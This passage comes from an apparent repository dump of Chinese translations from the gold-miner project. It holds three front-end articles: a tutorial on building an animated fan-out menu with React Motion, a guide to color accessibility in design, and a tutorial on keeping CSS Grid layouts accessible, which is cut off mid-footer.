    "path": "TODO1/a-gentle-introduction-to-react-motion.md",
    "content": "> * 原文地址：[A gentle introduction to React Motion](https://medium.com/@nashvail/a-gentle-introduction-to-react-motion-dc50dd9f2459)\n> * 原文作者：[Nash Vail](https://medium.com/@nashvail?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-gentle-introduction-to-react-motion.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-gentle-introduction-to-react-motion.md)\n> * 译者：[doctype233](https://github.com/doctype233)\n> * 校对者：[Gavin-Gong](https://github.com/Gavin-Gong)\n\n# 关于 React Motion 的简要介绍\n\nReact 很棒，在过去的几周里，我用它玩得很开心，所以我决定尝试一下 [React Motion](https://github.com/chenglou/react-motion)。一开始 API 就让我感到有困惑和棘手，但是最终一切开始变得有意义，不过这需要时间。遗憾的是，我在网上找不到合适的 React Motion 教程，所以我决定把这篇文章写出来，不仅是作为一个开发者们的资源，也能给我自己作参考。\n\nReact Motion 对外暴露三个主要的组件：Motion，StaggeredMotion 和 TransitionMotion。在本教程中，我们将一起看一看 Motion 组件，之后你会发现将在这一部分花费大量时间。\n\n由于这是一个 React Motion 教程，所以我将假设你有点熟悉 React 以及 ES2015。\n\n我们将在使用 React Motion 重新创建[一个 Framerjs 的例子](http://framerjs.com/examples/preview/#new-tweet.framer)时探索 API。你可以在这找到代码的最终版本[在这](https://github.com/nashvail/ReactPathMenu/)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*kyWa60lJ2P1nGrQOSFwDag.gif)\n\n最终效果\n\n我们首先要研究一点数学问题，但是不要担心，我会尽可能详细地解释每一个步骤。你可以直接跳过这一部分到 React.start(); 部分。\n\n准备好了吗？那就开始吧...\n\n### Math.start();\n\n我们可以把蓝色的大按钮称为——主按钮，从蓝色按钮上飞出的按钮称为——子按钮。\n\n![](https://cdn-images-1.medium.com/max/2000/1*qllWMqjzSS-WNxJicsTg7A.png)\n\nFig. 1\n\n子按钮拥有两种位置状态，1) 子按钮均隐藏在主按钮后面的位置，2) 子按钮在主按钮周围排列成一个圆圈的位置。\n\n这里就出现了数学问题，我们必须想出一种方法，在一个完美的圆中均匀地排列主按钮周围的子按钮。你可以通过试错法将这些值通过代码写死，但认真的说，谁会这么做呢？另外，一旦你找到正确的数学方法，只要你愿意你可以摆放任意多的子按钮，而他们都会自动排列自己。\n\n首先让我们了解几个术语。\n\n#### M_X，M_Y\n\n![](https://cdn-images-1.medium.com/max/1200/1*QILlqlCX5YemXpc2L301Ig.png)\n\nFig. 2\n\nM_X, M_Y 分别表示以主按钮为中心的 X 和 Y 坐标。（M_X, M_Y）这个点将用作计算每个子按钮的距离和方向的参考。\n\n每个子按钮最初都隐藏在主按钮中心的后面，中心坐标为 M_X，M_Y。\n\n#### 分离角、扇形角、飞出半径\n\n![](https://cdn-images-1.medium.com/max/1600/1*H7S3us4GgfZ2-lVU7gyo2A.png)\n\nFig. 3\n\n飞出半径为子按钮飞出后距离主按钮的距离，其他两个词语的释义看起来不言自明。\n\n还需要注意一个地方，\n\n> 扇形角 = （子按钮数-1） * 分离角\n\n现在，我们需要设计一个函数，该函数接收子按钮（0, 1, 2, 3 …）的索引，并返回子按钮的新位置的 x 和 y 的坐标。\n\n#### 基准角、索引\n\n![](https://cdn-images-1.medium.com/max/1200/1*HM9Pysix_eOJjbPQ_YNPxQ.png)\n\nFig. 4\n\n由于通常来说三角学中的角度是从 x 轴的正方向测量的，我们将从相反的方向（右到左）开始给我们的子按钮编号。这样，以后我们就不必在每次需要子按钮的最后位置时乘以负一。\n\n当我们看到它时，请注意（参见 Fig. 3）\n\n> 基准角 = （180 — 扇形角）/2\n\n（一定程度上）。\n\n#### 角\n\n![](https://cdn-images-1.medium.com/max/1200/1*HV4NgkZc3HRsvSLVyPf_iA.png)\n\nFig. 5\n\n每个子按钮都有它自己的角度，我称之为角。这个角是计算子按钮最终位置所需的最后一条信息。\n\n请注意，（参见 Fig. 3, Fig. 4）\n\n> 索引为 i 的子按钮的角度 = 基准角 + （i * 分离角）\n\n现在，一旦我们有了每个子按钮的角，\n\n![](https://cdn-images-1.medium.com/max/1600/1*4WLefRuCXNDKa4Zb2g6A7A.png)\n\nFig. 6\n\n我们就能够为每个子按钮计算 **增量 X** 和**增量 Y**。\n\n请注意（参见 Fig. 2），\n\n> 子按钮的最终 X 轴坐标 = M_X + 增量 X\n\n> 子按钮的最终 Y 轴坐标 = M_Y - 增量 Y\n\n（我们从 M_Y 中减去增量X，因为不同于原点在左下角的一般坐标系，浏览器的原点在左上角，所以为了方便移动，你可以降低他们 y 轴坐标的值。）\n\n所以，这些就是我们所需要的数学方法，现在我们有两样东西：每个子按钮的初始位置（M\\_X，M\\_Y）和子按钮的最终位置，剩下的魔发就交由 React 来完成吧！\n\n### React.start();\n\n在下面的关键代码中，你将会看到发生什么，点击主按钮，我们将 isOpen 的状态变量设置为 true（第85行）。一旦 isOpen 为 true，就会传递不同的子按钮的样式（第 97 行，第 66 行，第 75 行）。\n\n结果：\n\n![](https://cdn-images-1.medium.com/max/1600/1*feVyc2Uue0mq4h0jVGW1uw.gif)\n\nFig. 7\n\n好的，我们在此处完成了很多操作，我们在按钮上设置子按钮的初始位置和最终位置，现在我们需要做的就是添加 React Motion 来激活在初始位置和最终位置之间的动画。\n\n### React-Motion.start();\n\n<Motion>获取[几个参数](https://github.com/chenglou/react-motion#motion-)每个参数是可选的，但我们不关心这里的可选参数，因为我们没有做任何与这个参数有关的事情。\n\n其中 <Motion> 一个参数是 _style_，_style_ 将作为参数传递到回调函数中，该函数包含内建的 _interpolated values_ ，然后执行它的动画。\n\n（第 8 行：因为正在React中执行迭代，所以需要将一个 key 参数传递给子组件。）\n\n就像这样，\n\n即使在这样做以后，结果也不会与图 Fig. 7 有所不同，为什么这么说？好吧，我们还需要最后一步，_spring._。\n\n正如前面提到的，回调函数包含内建的值，也就是说，_spring_ 帮助函数内建的值插入样式值。\n\n我们需要修改 initialChildButtonStyles 和 the finalChildButtonStyles 并注意 _top_ 和 _left_ 被 _spring_ 覆盖的值。这些是仅有的改变，现在，\n\n![](https://cdn-images-1.medium.com/max/1600/1*vJVGoGiTF0_WWOjF4nX5yw.gif)\n\nFig. 8\n\nspring 可选地接收第二个参数，这是一个包含两个数字的数组 [Stiffness, damping]，默认值为[170,26],这导致了上图 Fig. 8 中呈现的结果。\n\n将 Stiffness 视为动画发生的速度，这不是一个非常精确的假设，只是速度越大的值越大。Dampness 是一个晃动效果参数，不过相反的，值越小，晃动效果越明显。\n\n可以看看这个\n\n![](https://cdn-images-1.medium.com/max/1600/1*fmPrwf2E-gy8FJ9t-c0TvQ.gif)\n\n[320, 8] — Fig. 9\n\n![](https://cdn-images-1.medium.com/max/1600/1*cyNkSaIKitdbfkWQ5BjZkA.gif)\n\n[320, 17] — Fig. 10\n\n我们离最终完成很近了，但是还没有。如果我们在每次下一个子按钮开始动画前添加延迟会怎样？为了达到最终效果，这正是我们需要做的，但这样做并不那么简单，我不得不把每个运动组件以数组的形式存储到状态变量中，然后一个一个地为每个子按钮改变状态以达到期望的效果，代码就像这样\n\n> this.state = {  \n> isOpen: false,  \n> childButtons: []  \n> };\n\n然后在 componentDidMount 方法中添加 _childButtons_\n\n> componentDidMount() {  \n> let childButtons = [];  \n> range(NUM_CHILDREN).forEach(index => {  \n> childButtons.push(this.renderChildButton(index));  \n> });\n\n> this.setState({childButtons: childButtons.slice(0)});  \n> }\n\n最终打开菜单功能得以实现：\n\n![](https://cdn-images-1.medium.com/max/1600/1*OAwTtEZ77MFmYc5J93UWIA.gif)\n\n我们在这里做了一些美学的调整，如添加图标和一些旋转效果，我们得到最终效果如下。\n\n![](https://cdn-images-1.medium.com/max/1600/1*kyWa60lJ2P1nGrQOSFwDag.gif)\n\n方法已覆盖，你可以设置任何数量的子按钮\n\n![](https://cdn-images-1.medium.com/max/1600/1*CZs6nzP2gA4wYo7-7W14RQ.gif)\n\nNUM_CHILDREN = 1\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZYBIda9cB4qswqsiARS9-g.gif)\n\nNUM_CHILDREN = 3\n\n![](https://cdn-images-1.medium.com/max/1600/1*LAGfzXC-DrjFOYJDmWAyGg.gif)\n\nNUM_CHILDREN = 8\n\n相当酷对吗？再说一遍，你可以在[在这](https://github.com/nashvail/ReactPathMenu/blob/staggered-motion/Components/APP.js)找到相应代码。如果你觉得这篇文章有帮助，请点击下面的推荐按钮。\n\n如果有一些问题、评论、建议或仅仅是想聊个天？可以在 Twitter 上找到我 [@NashVail](http://twitter.com/NashVail) 或者给我发电子邮件 [hello@nashvail.me](mailto:hello@nashvail.me)。\n\n* * *\n\n你可能还会喜欢\n\n1.  [Let’s settle ‘this’ — Part One](https://medium.com/p/lets-settle-this-part-one-ef36471c7d97)\n2.  [Let’s settle ‘this’ — Part Two](https://medium.com/p/lets-settle-this-part-two-2d68e6cb7dba)\n3.  [Designing the perfect wallpaper app](https://medium.com/@nashvail/designing-the-perfect-wallpaper-app-36b8c9c226bb)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-guide-to-color-accessibility-in-product-design.md",
    "content": "> * 原文地址：[A guide to color accessibility in product design](https://medium.com/inside-design/a-guide-to-color-accessibility-in-product-design-516e734c160c)\n> * 原文作者：[InVision](https://medium.com/@InVisionApp?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-color-accessibility-in-product-design.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-color-accessibility-in-product-design.md)\n> * 译者：[Hopsken](https://hopsken.com)\n> * 校对者：[Ivocin](https://github.com/Ivocin)\n\n# 色彩无障碍性产品设计指南\n\n## 关于无障碍设计的讨论有很多，但你是否想过色彩的无障碍设计？\n\n最近，有一个客户带来了一个项目，该项目具有非常具体、复杂的无障碍色彩体系。这让我意识到这个课题是如此重要，其内容又是如此丰富。\n\n![](https://cdn-images-1.medium.com/max/800/1*U3GwUaniqzo5nZYd2LkaUA.png)\n\n图片：[Justin Reyna](https://twitter.com/justinreyreyna)\n\n让我们来学习如何使用你已经知道的设计原则来进行色彩无障碍设计。\n\n### 为什么无障碍性如此重要？\n\n数字产品的[无障碍设计](https://invisionapp.com/inside-design/accessibility-for-developers/)旨在为所有人提供精致的使用体验，这些人包括有视觉、语言、听觉、身体或者认知障碍的人。作为设计师、开发者以及所有科技行业从业人员，我们有能力去创造一个我们所有人都为之骄傲的网络 — 一个为所有人创造，服务于所有人，不排斥任何群体的网络。\n\n而且，做出不具备无障碍性的产品是种很粗鲁的行为。所以，请保持礼貌。\n\n[色彩无障碍设计](https://invisionapp.com/inside-design/guide-web-content-accessibility/)使得有视力障碍或者色觉缺陷的人能够获得与正常人同样的数字体验。2017 年，[WHO（世界卫生组织）](http://www.who.int/en/news-room/fact-sheets/detail/blindness-and-visual-impairment)估计，大约有 2.17 亿人患有某种形式的中度至重度视力障碍。仅凭这个数据，我们就有足够的理由去做无障碍设计。\n\n> **“做出不具备无障碍性的产品是种很粗鲁的行为。所以，请保持礼貌。”**\n\n无障碍设计不仅仅只是道德上的最佳实践，如果不服从关于无障碍性的监管要求，还会有潜在的法律隐患。在 2017 年，联邦法院收到过至少 [814 条](https://www.adatitleiii.com/2018/01/2017-website-accessibility-lawsuit-recap-a-tough-year-for-businesses/)关于网站涉嫌未提供无障碍访问的诉讼，包括为数不少的集体诉讼。各个组织都在努力建立无障碍性标准，其中最著名的是美国无障碍委员会（United States Access Board，Section 508）和 W3C 组织（World Wide Web Consortium）。以下是这些规范的概述:\n\n*   **Section 508**：508 号法令援引自 1973 年康复法案（Rehabilitation Act of 1973）的第 508 节。你可以在[这里](https://www.section508.gov/manage/laws-and-policies)找到详细的说明。总而言之，根据 508 法令，如果你隶属于任何联邦机构，或者为联邦机构构建网站（例如：承包商），那么你的网站必须具有无障碍性。\n*   **W3C**：W3C 组织是一个国际性的自发性组织，于 1994 年建立，为互联网提供开发性规范。在 [WCAG 2.1](https://www.w3.org/TR/WCAG21/) 中，W3C 概述了它们关于互联网无障碍性的指导方针。这基本上就是互联网无障碍设计的金科玉律。\n\n### 确保你的产品具备色彩无障碍性\n\n最好是在产品生命周期的早期就考虑无障碍性 —— 这在以后可以帮您省下不少时间和金钱。为了保证色彩无障碍性，在你为产品选择主题色彩时就要考虑好，随着产品发展下去，你会发现这么做的好处。\n\n这里给出一些小技巧来帮助你打造色彩无障碍性产品。\n\n#### 提供足够的对比度\n\n为了达到 [W3C 标准 AA 评级](https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html)最低限度，背景与文字的对比度至少为 4.5:1。因此，在设计按钮、卡片或者导航元素之类时，记得检查色彩组合的对比度是否符合要求。\n\n![](https://cdn-images-1.medium.com/max/800/1*PZXhnoxM0Sza0AJWp8G1BA.png)\n\n有很多工具可以帮助你检查色彩组合的无障碍性，我个人认为最好用的是 [Colorable](https://colorable.jxnblk.com/ffffff/6b757b) 和 [Colorsafe](http://colorsafe.co/)。我之所以喜欢 Colorable 是因为你可以通过使用滑动条来调整色相、饱和度和明度，它会实时显示出你的调整将如何影响特定颜色组合的无障碍性评分。\n\n#### 不要单纯依赖颜色\n\n为了保证无障碍性，确保你没有完全依赖颜色来展示系统不同层级的关键信息。因此，对于错误状态、成功状态或者系统警告等，诸如此类，确保同时使用文字或者图标来清晰地展示发生了什么。\n\n![](https://cdn-images-1.medium.com/max/800/1*gmsRDSNDAzUqs-SG-D5P4Q.png)\n\n除此以外，当展示图片、表格之类时，允许用户选择是否加入纹理或图案。确保色盲用户能够准确地分辨出它们，而不用担心颜色会影响他们对数据的理解。[Trello](https://www.trello.com/) 在这上面做得很棒，它特别提供了[色盲友好模式](https://twitter.com/trello/status/543420024166174721?lang=en)。\n\n![](https://cdn-images-1.medium.com/max/800/1*D6PDBf8Y7YNof6Fkh9X5gQ.png)\n\n### 聚焦（Focus）状态对比度\n\n当使用键盘浏览站点时，聚焦状态可以通过在元素周围显示视觉引导来帮助人们在页面上导航。这对有视觉缺陷、运动障碍，以及单纯喜欢用键盘导航的人群会很有帮助。 \n\n所有浏览器都有一个默认的聚焦状态颜色，但是如果你打算在你的产品上覆盖掉它，那么请务必确保你有提供足够的色彩对比度。这使得有视力障碍或色觉缺陷的人群可以通过聚焦状态在页面内导航。\n\n#### 文档化和推广色彩系统\n\n最后，创建色彩无障碍系统过程中最关键的一步就是，要让你的团队能够在需要的时候能够查阅它，这样每个人都清楚恰当的用法。这不仅可以减少混乱和滥用，也可以保证在你的团队中无障碍设计永远是个优先事项。根据我的经验，明确地在 UI 套件或设计系统中显示出特定颜色组合的可访问性评级是最有效的，尤其是在通过某个工具（如：[InVision Craft](https://www.invisionapp.com/craft) 或 [InVision DSM](https://support.invisionapp.com/hc/en-us/articles/115005685166-Introduction-to-Design-System-Manager)）进行团队间合作时。这里有一个关于如何文档化背景文字颜色组合及其可访问性评级的例子。\n\n![](https://cdn-images-1.medium.com/max/800/1*N_9UOR4mnJyxJq4Cg071LQ.png)\n\n### 让我们行动起来\n\n这只是一些提高产品无障碍性的小建议。另外，别忘了这只是关于色彩无障碍性的建议。要想详细地了解无障碍设计原则，推荐先熟悉 [WCAG 2.1](https://www.w3.org/TR/WCAG21/) 规范。虽然这些规范看上去有些吓人，但网上有**大量的**的资源可以帮到你。如果遇到困难，不要犹豫，向你身边的（或者网上的）设计师们寻求帮助。\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-guide-to-css-grid-and-accessibility.md",
    "content": "> * 原文地址：[How to Keep Your CSS Grid Layouts Accessible](https://webdesign.tutsplus.com/articles/a-guide-to-css-grid-and-accessibility--cms-32857)\n> * 原文作者：[Anna Monus](https://tutsplus.com/authors/anna-monus) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-css-grid-and-accessibility.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-guide-to-css-grid-and-accessibility.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[xionglong58](https://github.com/xionglong58)，[hanxiansen](https://github.com/hanxiansen)\n\n# 如何让你的 CSS Grid 布局有良好的可访问性\n\nCSS Grid 可以将元素放入有行和列的网格中，从而让创建二维布局成为可能。有了它，你可以自定义网格的任何形态，例如网格宽高、网格范围、或者网格之间的间隙。但是，CSS Grid 可能会有访问性不佳的问题，尤其是对于那些使用屏幕阅读器和仅使用键盘的用户。本篇教程将会帮助你避免此类问题。\n\n## 源顺序独立性\n\n“源顺序独立性”是 CSS Grid 强大优势之一。这意味着你不需要像使用 float 或者表格布局那样，在 HTML 中定义布局结构。你可以使用 CSS Grid 的排序和网格位置属性改变 HTML 呈现的视觉效果。\n\nW3C 的 CSS Grid 文档中的[重排序和可访问性](https://www.w3.org/TR/css-grid-1/#source-independence)章节，将源顺序独立性定义为：\n\n> “通过将网格布局与媒体查询相结合，开发者可以使用相同的语义标记，但是元素布局的重新排列是脱离源代码顺序而独立存在的，这样就可以同时在源代码顺序和渲染出的视觉效果两个方面实现需要的布局。”\n\n使用 CSS Grid，你可以将逻辑顺序和视觉顺序解耦。源顺序独立性在很多时候都非常有用，但是它也有可能会破坏代码的可访问性。使用屏幕阅读器和键盘的用户都只能看到你 HTML 文件的代码逻辑顺序，但是无法看到通过 CSS Grid 创建出来的视觉顺序。\n\n如果你的文档很简单，这通常不是什么大问题，因为这时候源代码逻辑顺序和视觉顺序基本是一致的。但是，比较复杂、不对称、零散，或者使用了其他创意布局的文件通常就会对使用屏幕阅读器或者键盘的用户造成困惑。\n\n### 能改变视觉顺序的属性\n\nCSS Grid 有很多可以改变文档视觉顺序的属性：\n\n-   [`order`](https://developer.mozilla.org/en-US/docs/Web/CSS/order) —— 在 [flexbox](https://webdesign.tutsplus.com/tutorials/a-comprehensive-guide-to-flexbox-ordering-reordering--cms-31564) 和 CSS Grid 规则中都有 order 属性。它可以改变 flex 或者 grid 容器中项目的默认排序。\n-   网格位置属性 —— [`grid-row-start`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-row-start)，[`grid-row-end`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-row-end)，[`grid-column-start`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-column-start)，[`grid-column-end`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-column-end)。\n-   上述网格位置属性的简写 —— [`grid-row`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-row)，[`grid-column`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-column)，和 [`grid-area`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-area)（它是 `grid-row` 和 `grid-column` 的简写）。\n-   [`grid-template-areas`](https://developer.mozilla.org/en-US/docs/Web/CSS/grid-template-areas) —— 指定已命名的网格区的位置。\n\n如果你想知道更多关于网格位置属性的使用方法，可以看看我们之前关于[网格区域](https://webdesign.tutsplus.com/tutorials/css-grid-layout-using-grid-areas--cms-27264)的文章。现在，让我们看看视觉重排序是如何造成代码可访问性的问题的。\n\n## 视觉效果与逻辑的重排序\n\n这是一个简单的网格布局，只有几个简单的链接，所以你可以使用键盘测试代码：\n\n```html\n<div class=\"container\">\n    <div class=\"item-1\"><a href=\"#\">Link 1</a></div>\n    <div class=\"item-2\"><a href=\"#\">Link 2</a></div>\n    <div class=\"item-3\"><a href=\"#\">Link 3</a></div>\n    <div class=\"item-4\"><a href=\"#\">Link 4</a></div>\n    <div class=\"item-5\"><a href=\"#\">Link 5</a></div>\n    <div class=\"item-6\"><a href=\"#\">Link 6</a></div>\n</div>\n```\n\n现在我们再加入一些样式。下面的 CSS 代码将网格元素放入了三个宽度相同的列中。使用 `grid-row` 属性，第一个元素被移动到了第二行的开始。\n\n```css\n.container {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-gap: 0.625rem;\n}\n \n.item-1 {\n  grid-row: 2;\n}\n```\n\n在下面这个图中，你可以看到最终的视觉效果，其中 Link 1 被加上了一些特殊样式以便突出说明。普通的用户将会首先看到 **Link 2**，但是使用屏幕阅读器的用户将会从 **Link 1** 开始，因为他们遵从的是 HTML 代码中定义的逻辑顺序。\n\n对于纯键盘使用者，使用 tab 键浏览页面也同样困难，因为这样依旧会从 **Link 1** 开始，也就是页面的左下角（你可以自己尝试一下）。\n\n![image](https://user-images.githubusercontent.com/5164225/56024520-c2446e00-5d42-11e9-93c5-5047bea7a6eb.png)\n\n### 解决方案\n\n解决方案非常简单优雅。不要改变视觉顺序，你只需要将 Link 1 移动到 HTML 文件的下面。这样，源代码顺序和视觉顺序就一致了。\n\n```html\n<div class=\"container\">\n  <div class=\"item-2\"><a href=\"#\">Link 2</a></div>\n  <div class=\"item-3\"><a href=\"#\">Link 3</a></div>\n  <div class=\"item-4\"><a href=\"#\">Link 4</a></div>\n  <div class=\"item-1\"><a href=\"#\">Link 1</a></div>\n  <div class=\"item-5\"><a href=\"#\">Link 5</a></div>\n  <div class=\"item-6\"><a href=\"#\">Link 6</a></div>\n</div>\n```\n\n你不需要在 CSS 中为 `.item-1` 添加任何关于 Grid 的属性。因为你也不用改变默认的源代码顺序了，那么你只需要为网格容器定义属性即可。\n\n```css\n.container {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-gap: 0.625rem;\n}\n```\n\n看，尽管这个例子最终结果和以前一样，现在它的可访问性更高了。使用 tab 或者屏幕阅读器都会从 Link 2 开始，逻辑上也遵循源代码顺序。\n\n![image](https://user-images.githubusercontent.com/5164225/56024543-d0928a00-5d42-11e9-8805-dde165d25910.png)\n\n## 如何让布局的可访问性更好\n\n这里有几个通用的布局模版，你可以让使用 CSS Grid 重排序属性的代码可访问性更高。例如，“圣杯布局”就是这样一种模式。它包括一个头部，一个主要内容区域，一个页脚，还有两个固定宽度的侧边栏，它们俩一个在左一个在右。\n\n左边栏布局可能会为使用屏幕阅读器的用户造成困惑。因为左边栏在源代码顺序要要比主要内容区域靠前，而它则是使用屏幕阅读器的用户最先看到的内容。但是，通常情况下，使用屏幕阅读器的用户开始阅读的位置最好是主要内容。特别是当左边栏主要包括的其实是广告，博客目录，标签云，或者其他一些不相关的内容。\n\nCSS Grid 允许你改变 HTML 文件的源代码顺序，并将主要内容放在两个侧边栏**前面**：\n\n```html\n<div class=\"container\">\n    <header>Header</header>\n    <main>Main content</main>\n    <aside class=\"left-sidebar\">Left sidebar</aside>\n    <aside class=\"right-sidebar\">Right sidebar</aside>\n    <footer>Footer</footer>\n</div>\n```\n\n还有一些其他可用的解决方案，来使用 CSS Grid 定义视觉顺序的改变。大部分教程都会使用命名的网格区域，并使用 `grid-template-areas` 属性对它们进行重排列。\n\n下面的代码是最简单的解决方案，因为它只是为视觉顺序和源代码顺序不同的元素添加了几个额外的规则。CSS Grid 有优秀的自动排列功能，能够把余下的网格元素搞定。\n\n```css\n.container {\n  display: grid;\n  grid-template-columns: 9.375rem 1fr 9.375rem;\n  grid-gap: 0.625rem;\n}\nheader, \nfooter {\n  grid-column: 1 / span 3;\n}\n.left-sidebar {\n  grid-area: 2 / 1;\n}\n```\n\n这样，`grid-column` 让 `<header>` 和 `<footer>` 区域横跨整个屏幕（三列），然后 `grid-area`（`grid-row` 和 `grid-column` 的简写）固定了左边栏的位置。如下就是使用这些样式后的样子：\n\n![image](https://user-images.githubusercontent.com/5164225/56024562-da1bf200-5d42-11e9-8680-e650a2a52351.png)\n\n尽管圣杯布局是一个相对简单的布局，你还可以使用相同的逻辑来完成一些更复杂的布局。要始终牢记页面的哪个部分是最重要的，哪部分是使用屏幕阅读器的用户在看到其他内容之前可能最想看的。\n\n## 语义丢失怎么办\n\n某些情况下，CSS Grid 也会对语义造成破坏；这也是影响可访问性的一个方面。由于 `display: grid;` 布局仅被元素的直接子元素继承，网格元素的子元素其实就不是网格布局的一部分了。为了节省工作量，开发者也许认为将布局扁平化是一个不错的解决方案，所以他们就将所有希望包括在网格布局内的元素都作为网格容器的直接子元素。但是，如果一个布局被认为的扁平化了，文件的语义通常也就丢失了。\n\n加入你想要创建一个元素展览墙（比如图片墙），在这里，元素按照网格排列并被一个头部和一个页脚包围。如下是带语义的标签写法：\n\n```html\n<section class=\"container\">\n    <header>Header</header>\n    <ul>\n        <li>Item 1</li>\n        <li>Item 2</li>\n        <li>Item 3</li>\n        <li>Item 4</li>\n        <li>Item 5</li>\n        <li>Item 6</li>\n    </ul>\n    <footer>Footer</footer>\n</section>\n```\n\n但是如果你想要使用 CSS Grid，`<section>` 应该作为网格容器，`<h1>`、`<h2>` 和 `<ul>` 是网格元素。但是，列表内的元素不被包括在网格内，因为他们是网格容器**子元素的子元素**。\n\n所以，如果你想要快速的完成工作，将布局结构扁平化也许是一个不错的主意，也就是让所有的元素都作为网格容器的子元素：\n\n```html\n<section class=\"container\">\n    <header>Header</header>\n    <div class=\"item\">Item 1</div>\n    <div class=\"item\">Item 2</div>\n    <div class=\"item\">Item 3</div>\n    <div class=\"item\">Item 4</div>\n    <div class=\"item\">Item 5</div>\n    <div class=\"item\">Item 6</div>\n    <footer>Footer</footer>\n</section>\n```\n\n现在，你就可以很轻松地使用 CSS Grid 创建出想要的布局：\n\n```css\n.container {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    grid-gap: 0.625rem;\n}\nheader,\nfooter {\n    grid-column: 1 / span 3;\n}\n```\n\n![image](https://user-images.githubusercontent.com/5164225/56024575-e2742d00-5d42-11e9-883e-3f015c891cb2.png)\n\n一切**看上去**都非常好，但是文档已经丢失了它最初的语义，所以：\n\n-   使用屏幕阅读器的用户无法知道元素之间的关系，也无法知道它们其实是列表的一部分（大部分的屏幕阅读器都会通知用户列表元素的数量）；\n-   被破坏的语义也会让搜索引擎很难明白你的内容；\n-   如果用户在禁用 CSS 的时候访问你的内容（例如，网速不佳的时候），在浏览页面时可能会很困惑，因为他们只看到一系列不相关的 div。\n\n最重要的规则是，你绝对不能为了看上去好看而放弃语义。\n\n### 解决方案\n\n目前的解决方案通过为未排序的列表添加了 CSS 规则，创建出了嵌套的网格。\n\n```css\n.container {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    grid-gap: 0.625rem;\n}\n.container > * {\n    grid-column: 1 / span 3;\n}\nul {\n    display: inherit;\n    grid-template-columns: inherit;\n    grid-gap: inherit;\n}\n```\n\n在如下例子中，你可以看到嵌套的网格和父级网格是如何关联的。元素按照期望的样子排列出来了，但是此时，文档始终保留着它的语义。\n\n![image](https://user-images.githubusercontent.com/5164225/56024590-ea33d180-5d42-11e9-9811-91c21aee312a.png)\n\n## 总结\n\n简单的 CSS Grid 布局可能不会导致可访问性的问题。但是当你想要改变视觉顺序或者创建多层网格的时候，问题就可能暴露出来。解决这些问题通常不会很麻烦，所以这样做来修复那些可访问性问题是很值得的，因为这样你能够让那些使用辅助工具的用户更易读懂你的内容。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 